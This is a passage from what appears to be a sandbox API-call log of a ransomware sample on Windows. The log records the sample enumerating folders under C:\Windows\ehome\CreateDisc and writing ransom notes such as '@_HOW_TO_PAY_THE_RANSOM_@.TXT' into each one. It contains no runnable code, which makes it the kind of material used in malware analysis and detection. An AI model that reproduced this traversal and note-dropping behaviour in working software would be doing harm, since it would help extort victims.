"c:\\windows\\ehome\\createdisc\\sfxplugins\\@_files_were_encrypted_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ab080, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0252.999] GetFileType (hFile=0x178) returned 0x1 [0252.999] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x58fe58 | out: hHeap=0x510000) returned 1 [0253.000] AreFileApisANSI () returned 1 [0253.000] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 70 [0253.000] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8c) returned 0x58fe58 [0253.000] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x58fe58, cchWideChar=70 | out: lpWideCharStr="C:\\\\Windows\\ehome\\CreateDisc\\SFXPlugins\\@_HOW_TO_PAY_THE_RANSOM_@.TXT") returned 70 [0253.000] CreateFileW (lpFileName="C:\\\\Windows\\ehome\\CreateDisc\\SFXPlugins\\@_HOW_TO_PAY_THE_RANSOM_@.TXT" (normalized: "c:\\windows\\ehome\\createdisc\\sfxplugins\\@_how_to_pay_the_ransom_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ab080, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0253.002] GetFileType (hFile=0x178) returned 0x1 [0253.003] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x58fe58 | out: hHeap=0x510000) returned 1 [0253.003] AreFileApisANSI () returned 1 [0253.003] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 69 [0253.003] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8a) returned 0x58fe58 [0253.004] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x58fe58, cchWideChar=69 | out: lpWideCharStr="C:\\\\Windows\\ehome\\CreateDisc\\SFXPlugins\\@_HOW_TO_DECRYPT_FILES_@.TXT") returned 69 [0253.004] CreateFileW (lpFileName="C:\\\\Windows\\ehome\\CreateDisc\\SFXPlugins\\@_HOW_TO_DECRYPT_FILES_@.TXT" (normalized: "c:\\windows\\ehome\\createdisc\\sfxplugins\\@_how_to_decrypt_files_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ab080, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0253.004] GetFileType (hFile=0x178) returned 0x1 [0253.004] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x58fe58 | out: hHeap=0x510000) returned 1 [0253.005] FindFirstFileA (in: lpFileName="C:\\\\Windows\\ehome\\CreateDisc\\SFXPlugins\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ce645a6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x14290740, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14290740, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549790 [0253.005] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ce645a6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x14290740, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14290740, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName="..", cAlternateFileName="")) returned 1 [0253.005] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14290740, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x14290740, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14290740, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0253.005] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0253.005] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544ca0 [0253.005] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544ca0 | out: hHeap=0x510000) returned 1 [0253.005] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5434a8 [0253.005] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5434a8 | out: hHeap=0x510000) returned 1 [0253.006] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0253.006] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14290740, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x14290740, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14290740, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0253.006] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0253.006] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544ca0 [0253.006] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544ca0 | out: hHeap=0x510000) returned 1 [0253.006] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5434a8 [0253.006] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5434a8 | out: hHeap=0x510000) returned 1 [0253.006] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0253.006] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14290740, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x14290740, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14290740, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0253.006] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0253.006] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544ca0 [0253.006] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544ca0 | out: hHeap=0x510000) returned 1 [0253.006] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5434a8 [0253.006] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5434a8 | out: hHeap=0x510000) returned 1 [0253.006] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0253.006] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88bbd3bd, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x88bbd3bd, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x4487e190, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9600, dwReserved0=0x0, dwReserved1=0x3, cFileName="StandardFX_Plugin.dll", cAlternateFileName="")) returned 1 [0253.006] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524250 [0253.006] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x5243b8 [0253.006] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5243b8 | out: hHeap=0x510000) returned 1 [0253.006] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524250 | out: hHeap=0x510000) returned 1 [0253.006] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88bbd3bd, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x88bbd3bd, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x4487e190, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9600, dwReserved0=0x0, dwReserved1=0x3, cFileName="StandardFX_Plugin.dll", cAlternateFileName="")) returned 0 [0253.006] FindClose (in: hFindFile=0x549790 | out: hFindFile=0x549790) returned 1 [0253.006] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd273c80b, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd273c80b, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xe02bb459, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x2, dwReserved1=0x55d620, cFileName="sonic.xml", cAlternateFileName="")) returned 1 [0253.006] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cd80 [0253.007] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0253.007] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0253.007] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cd80 | out: hHeap=0x510000) returned 1 [0253.007] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5434a8 [0253.007] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533d90 [0253.007] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533de0 [0253.007] AreFileApisANSI () returned 1 [0253.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 39 [0253.007] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4e) returned 0x544bf0 [0253.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x544bf0, cchWideChar=39 | out: lpWideCharStr="C:\\\\Windows\\ehome\\CreateDisc\\sonic.xml") returned 39 [0253.007] CreateFileW (lpFileName="C:\\\\Windows\\ehome\\CreateDisc\\sonic.xml" (normalized: "c:\\windows\\ehome\\createdisc\\sonic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x4aba3c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0253.008] GetLastError () returned 0x5 [0253.008] GetLastError () returned 0x5 [0253.008] AreFileApisANSI () returned 1 [0253.008] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x52cd80, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 39 [0253.008] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4e) returned 0x544bf0 [0253.008] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x52cd80, cbMultiByte=-1, lpWideCharStr=0x544bf0, cchWideChar=39 | out: lpWideCharStr="C:\\\\Windows\\ehome\\CreateDisc\\sonic.xml") returned 39 [0253.008] CreateFileW (lpFileName="C:\\\\Windows\\ehome\\CreateDisc\\sonic.xml" (normalized: "c:\\windows\\ehome\\createdisc\\sonic.xml"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x178 [0253.008] GetFileType (hFile=0x178) returned 0x1 [0253.009] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0253.009] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0253.009] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0253.009] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0253.009] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0253.009] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0253.009] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0253.009] CloseHandle (hObject=0x178) returned 1 [0253.009] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0253.009] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cd80 | out: hHeap=0x510000) returned 1 [0253.009] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd203e7f8, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xbd9d0b00, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x3c1eae85, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x19, dwReserved1=0x0, cFileName="SonicMCEBurnEngine.dll", cAlternateFileName="")) returned 1 [0253.009] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524250 [0253.009] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x5243b8 [0253.009] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5243b8 | out: hHeap=0x510000) returned 1 [0253.009] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524250 | out: hHeap=0x510000) returned 1 [0253.009] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2762968, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd2762968, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xe02e15b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4879, dwReserved0=0x19, dwReserved1=0x0, cFileName="SonicMCEBurnEngineIcon.png", cAlternateFileName="")) returned 1 [0253.009] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524250 [0253.009] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x5243b8 [0253.010] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5243b8 | out: hHeap=0x510000) returned 1 [0253.010] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5434a8 [0253.010] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5434a8 | out: hHeap=0x510000) returned 1 [0253.010] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524250 | out: hHeap=0x510000) returned 1 [0253.010] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5434a8 [0253.010] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533d90 [0253.010] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533de0 [0253.010] AreFileApisANSI () returned 1 [0253.010] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 56 [0253.010] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x70) returned 0x55c630 [0253.010] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x55c630, cchWideChar=56 | out: lpWideCharStr="C:\\\\Windows\\ehome\\CreateDisc\\SonicMCEBurnEngineIcon.png") returned 56 [0253.010] CreateFileW (lpFileName="C:\\\\Windows\\ehome\\CreateDisc\\SonicMCEBurnEngineIcon.png" (normalized: "c:\\windows\\ehome\\createdisc\\sonicmceburnengineicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x4aba3c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0253.011] GetLastError () returned 0x5 [0253.011] GetLastError () returned 0x5 [0253.011] AreFileApisANSI () returned 1 [0253.011] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 56 [0253.011] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x70) returned 0x55c630 [0253.011] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x55c630, cchWideChar=56 | out: lpWideCharStr="C:\\\\Windows\\ehome\\CreateDisc\\SonicMCEBurnEngineIcon.png") returned 56 [0253.011] CreateFileW (lpFileName="C:\\\\Windows\\ehome\\CreateDisc\\SonicMCEBurnEngineIcon.png" (normalized: "c:\\windows\\ehome\\createdisc\\sonicmceburnengineicon.png"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x178 [0253.011] GetFileType (hFile=0x178) returned 0x1 [0253.011] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0253.011] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0253.011] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0253.012] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0253.012] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0253.012] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0253.012] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0253.012] CloseHandle (hObject=0x178) returned 1 [0253.012] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55c630 | out: hHeap=0x510000) returned 1 [0253.012] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524250 | out: hHeap=0x510000) returned 1 [0253.012] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cf231d1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa977f08, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cf231d1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19, dwReserved1=0x0, cFileName="SonicResources", cAlternateFileName="SONICR~1")) returned 1 [0253.012] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cd80 [0253.012] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0253.012] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x55d638 [0253.012] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0253.012] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55d638 | out: hHeap=0x510000) returned 1 [0253.012] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cd80 | out: hHeap=0x510000) returned 1 [0253.012] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cd80 [0253.012] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5a0) returned 0x597e58 [0253.012] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0253.012] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0253.012] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0253.012] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533d90 [0253.013] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533de0 [0253.013] AreFileApisANSI () returned 1 [0253.013] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 73 [0253.013] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x92) returned 0x536b88 [0253.013] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x536b88, cchWideChar=73 | out: lpWideCharStr="C:\\\\Windows\\ehome\\CreateDisc\\SonicResources\\@_FILES_WERE_ENCRYPTED_@.TXT") returned 73 [0253.013] CreateFileW (lpFileName="C:\\\\Windows\\ehome\\CreateDisc\\SonicResources\\@_FILES_WERE_ENCRYPTED_@.TXT" (normalized: "c:\\windows\\ehome\\createdisc\\sonicresources\\@_files_were_encrypted_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ab080, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0253.014] GetFileType (hFile=0x178) returned 0x1 [0253.014] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x536b88 | out: hHeap=0x510000) returned 1 [0253.015] AreFileApisANSI () returned 1 [0253.015] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0253.015] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x94) returned 0x536b88 [0253.015] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x536b88, cchWideChar=74 | out: lpWideCharStr="C:\\\\Windows\\ehome\\CreateDisc\\SonicResources\\@_HOW_TO_PAY_THE_RANSOM_@.TXT") returned 74 [0253.015] CreateFileW (lpFileName="C:\\\\Windows\\ehome\\CreateDisc\\SonicResources\\@_HOW_TO_PAY_THE_RANSOM_@.TXT" (normalized: "c:\\windows\\ehome\\createdisc\\sonicresources\\@_how_to_pay_the_ransom_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ab080, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0253.017] GetFileType (hFile=0x178) returned 0x1 [0253.017] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x536b88 | out: hHeap=0x510000) returned 1 [0253.018] AreFileApisANSI () returned 1 [0253.018] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 73 [0253.018] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x92) returned 0x536b88 [0253.018] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x536b88, cchWideChar=73 | out: lpWideCharStr="C:\\\\Windows\\ehome\\CreateDisc\\SonicResources\\@_HOW_TO_DECRYPT_FILES_@.TXT") returned 73 [0253.018] CreateFileW (lpFileName="C:\\\\Windows\\ehome\\CreateDisc\\SonicResources\\@_HOW_TO_DECRYPT_FILES_@.TXT" (normalized: "c:\\windows\\ehome\\createdisc\\sonicresources\\@_how_to_decrypt_files_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ab080, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0253.019] GetFileType (hFile=0x178) returned 0x1 [0253.019] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x536b88 | out: hHeap=0x510000) returned 1 [0253.020] FindFirstFileA (in: lpFileName="C:\\\\Windows\\ehome\\CreateDisc\\SonicResources\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cf231d1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x142b68a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x142b68a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549790 [0253.020] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cf231d1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x142b68a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x142b68a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName="..", cAlternateFileName="")) returned 1 [0253.020] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x142b68a0, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x142b68a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x142b68a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, 